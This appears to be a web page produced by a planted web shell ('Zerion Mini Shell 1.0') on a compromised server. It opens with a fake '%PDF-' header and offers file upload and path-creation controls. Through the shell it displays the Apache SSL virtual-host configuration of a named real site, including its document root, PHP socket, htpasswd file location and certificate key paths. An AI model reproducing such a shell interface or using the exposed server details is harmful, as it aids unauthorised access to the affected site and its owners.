%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /etc/apache2/sites-enabled/
Upload File :
Create Path :
Current File : //etc/apache2/sites-enabled/sms.eco-n-tech.co.uk-le-ssl.conf

<IfModule mod_ssl.c>
<VirtualHost *:443>
  ServerName sms.eco-n-tech.co.uk
  ServerAdmin admin@sms.eco-n-tech.co.uk
  DocumentRoot /var/www/sms.eco-n-tech.co.uk
  ErrorLog ${APACHE_LOG_DIR}/error.log
  CustomLog ${APACHE_LOG_DIR}/access.log combined

    <FilesMatch \.php> # Apache 2.4.10+ can proxy to unix socket 
        SetHandler "proxy:unix:/var/run/php/php7.4-fpm.sock|fcgi://localhost/" 
    </FilesMatch>

  <Directory /var/www/sms.eco-n-tech.co.uk/>
    Options Indexes FollowSymLinks
    AllowOverride all
#    Require all granted
    AuthType Basic
    AuthName "Restricted Content"
    AuthUserFile /etc/apache2/.htpasswd
    Require valid-user
  </Directory>

  SSLCertificateFile /etc/letsencrypt/live/sms.eco-n-tech.co.uk/fullchain.pem
  SSLCertificateKeyFile /etc/letsencrypt/live/sms.eco-n-tech.co.uk/privkey.pem
  Include /etc/letsencrypt/options-ssl-apache.conf
</VirtualHost>
</IfModule>

Zerion Mini Shell 1.0